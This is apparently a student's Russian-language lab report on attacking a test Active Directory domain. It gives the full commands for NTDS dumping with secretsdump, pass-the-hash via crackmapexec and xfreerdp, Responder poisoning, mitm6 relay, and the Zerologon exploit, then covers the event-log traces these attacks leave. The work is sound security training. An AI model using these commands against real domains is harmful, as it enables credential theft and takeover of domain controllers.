# Занятие 6. Базовые атаки и компрометация доменной Windows-инфраструктуры.
## Модуль: OS Windows & AD basic
#### Выполнил: Галлямов Азат
_ _ _
В данном заданиии мы провели анализ базы NTDS, выполнили атаку “Path-the-hash” и реализовали атаки на базовые протоколы Windows.
## Практическая работа №6.1 Базовые атаки на Windows-инфраструктуру.
#### __Этап 1. Анализ базы NTDS__
1. Мы воспользовались базовыми средствами Windows для работы с NTDS. Далее зашли в командную строку от имени администратора и ввели команды: ```ntdsutil, activate instance ntds, ifm, create full C:\temp```. Сделали копию нашего NTDS с необходимыми ветками реестра.  _Рис.1 Создали копию базы NTDS_  _Рис.2 Сохранённые файлы в папке temp_
2. Далее мы скопировали файлы NTDS на хост Kali linux. Подключились по smb клиенту к dc01, использовали команды ```recurse ON, prompt OFF, lcd /home/user, mget temp```.  _Рис.3 Скопировали файлы_
3. Провели анализ NTDS. Для этого скачали impacket ```git clone https://github.com/SecureAuthCorp/impacket ```. Выполнили следующие команды : ``` python3 secretsdump.py -ntds /home/sam/temp/Active\ Directory/ntds.dit -system /home/sam/temp/registry/SYSTEM LOCAL```.  _Рис.4 Скачали impacket_  _Рис.5 Анализ NTDS_
#### __Этап 2. Path-the-hash__
1. В данном пункте мы рассмотрели Crackmapexec. Это набор python-скриптов для тестирования Windows окружения. Выполнили быстрое сканирование сети и обнаружение хостов, как либо взаимодействующих с протоколом smb: ```crackmapexec smb 192.168.10.0/24``` (рис.6). Далее мы выполнили команды от имени пользователя на удаленной машине посредством командной строки: ```crackmapexec smb 192.168.10.201 -u Administrator -H hash -x whoami``` (рис.7). Хэши мы взяли из базы NTDS. Далее посмотрели список сетевых папок, доступных конкретному пользователю: ```crackmapexec smb 192.168.10.201 -u Administrator -H hash --shares``` (рис.8).  _Рис.6 Сканирование сети и обнаружение хостов_  _Рис.7 Выполнение команды от имени пользователя на удаленной машине_  _Рис.8 Просмотр списока сетевых папок_
2. Далее мы использовали утилиту smbexec, которая позволяет запустить cmd windows для удаленной передачи команд.  _Рис.9 Удалённое выполнение команд_
3. Рассмотрели возможности __XFreeRDP__. Она позволяет зайти по RDP с помощью хэша. Для этого используется следующая команда: ```xfreerdp /d:domainname /u:username /v:ipaddr /pth:NTHASH```. Но для начала включили удалённый доступ по RDP на dc1, доступ дали администраторам домена. Неудачный вход из-за политики restricted admin.  _Рис.10 Включили доступ по RDP_  _Рис.11 Попытка входа по RDP под УЗ ADMIgor_  _Рис.12 Неудачный вход_
4. Исправили ситуацию, изменили параметр реестра на dc01. Использовали команду: ```New-ItemProperty -Path “HKLM:\System\CurrentControlSet\control\Lsa” -Name “DisableRestrictedAdmin” -Value “0” -PropertyType DWORD -Force```. Также можем увидеть выполнение этой команды в Event Viwer, в журналах powershell.  _Рис.13 Изменили параметр реестра на dc01_  _Рис.14 В событиях видим выполнение этой команды_
5. Успешный вход с xfreerdp.  _Рис.14 Успешный вход_
#### __Этап 3. Атаки на базовые протоколы Windows__
1. Проанализировали инфраструктуру через __responder__. Запустили анализ командой: ```responder -I eth0 -A```. На pc01 попытаемся обратиться к несуществующему сетевому ресурсу. Анализатор видит LLNMR, NBNS запросы  _Рис.15 Запустили анализ_  _Рис.16 На pc01 обратились к несуществующему ресурсу_  _Рис.17 LLNMR, NBNS запросы_
2. Перейдём в режим атаки при помощи команды: ```responder -I eth0 -wFv```. На pc01 снова перешли по несуществующему пути. Responder притворяется этим ресурсом, поэтому мы увидели окно аутентификации. Responder перехватил аутентификационный токен для пользователей Igor, ADMIgor.  _Рис.18 Перешли в режим атаки_  _Рис.19 На pc01 снова перешли по несуществующему пути_  _Рис.20 Responder перехватил аутентификационный токен_
#### _Атака при помощи mitm6_
Атака имитирует DHCPv6 сервер и отправляет на компьютеры в сети параметры IPv6, которые используются в приоритете над IPv4 при отправке компьютеров данных по сети.
1. Установили mitm6 командой : ```pip install mitm6```. Далее выполнили атаку командой: ```mitm6.py -d pt.local```. Посмотрели настройки сетевого адаптера pc01.  _Рис.21 Установка_  _Рис.22 Начало атаки_  _Рис.23 Параметры адаптера на pc01_
2. Пока мы подменили параметры у win10, обеспечив mitm. Чтобы атака прошла незаметно для пользователя, воспользовались способом, который позволил нам прикинуться ресурсом, который требует аутентификацию. Создали свой сервера SMB, не отключая mitm6: ```python3 smbserver.py -smb2support SMB /root/SMB```.  _Рис.24 Запуск SMB_
3. На pc01 через проводник зашли на наш SMB. Удачно. На Kali увидели данные аутентификации в выводе программы.Эти аутентификационные данные уже можно вскрывать с помощью hashcat или John the ripper. Это не чистый хэш пароля, а аутентификация по протоколу NTLMv2.  _Рис.25 Зашли на наш SMB_  _Рис.26 Аутентификационные данные_
## Практическая работа №6.2 Компрометация доменной Windows-инфраструктуры.
В данном задании мы провели эксплуатацию уязвимостей контроллера домена и нашли следы эксплуатации уязвимостей.
1. Активировали политику аудита машинных учетных записей и применить к контроллерам домена.  _Рис.27 Политика аудита машинных учетных записей_  _Рис.28 Принудительное применение политики_
2. Скачали файлы с репозитория с эксплойтами для zerologon. Далее в файле README нашли команды и использовали команду ```python3 set_empty_pw.py DC1 192.168.10.200```. Скрипт обнулил пароль машинной учетной записи контроллера домена.  _Рис.29 Скачали файлы с репозитория_  _Рис.30 Обнулили пароль машинной учетной записи контроллера домена_
3. Перешли в impacket/examples и выполнили оттуда команду ```python3 secretsdump.py -hashes :31d6cfe0d16ae931b73c59d7e0c089c0 'PT/DC01$@192.168.10.200' ```. В качестве хэша использовали хэш DefaultAccount. Далее с помощью полученных хешей учетных данных выполнили команду от пользователя ADMIgor.  _Рис.31 Получили данные с NTDS_  _Рис.32 Выполнение команды от ADMIgor_
#### __Поиск следов эксплуатации уязвимостей__
1. Проверили журнал System и увидели ошибку Netlogon. Далее проверили журнал Security, там увидели событие 4742.  _Рис.33 Ошибка Netlogon_  _Рис.34 Событие 4742_
2. Проанализировали событие. ANONYMOUS LOGON - подозрительный факт. При легитимном взаимодействии пароль на машинной учетной записи может менять только NETWORK SERVICE. И, если это происходит, генерируется ещё одно событие с id 5823. Поэтому далее мы в журнале System с помощью фильтра нашли событие 5823. Событие есть, но оно произошло намного раньше.(при поиске события 4742 за день, когда произошло 5823, мы их найдём. Это легитимные события, связанные с введением в домен dc2)  _Рис.35 Проанализировали событие_  _Рис.36 Нашли событие с id 5823_
3. В нашем случае также происходил дамп NTDS, поэтому мы видим данные выгрузки в журнале Direcrory Service, номер события 1644. (если событий нет, проверте, что значение реестра ```HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NTDS\Diagnostics\Field Engineering``` равно 5).  _Рис.37 Событие дампа NTDS_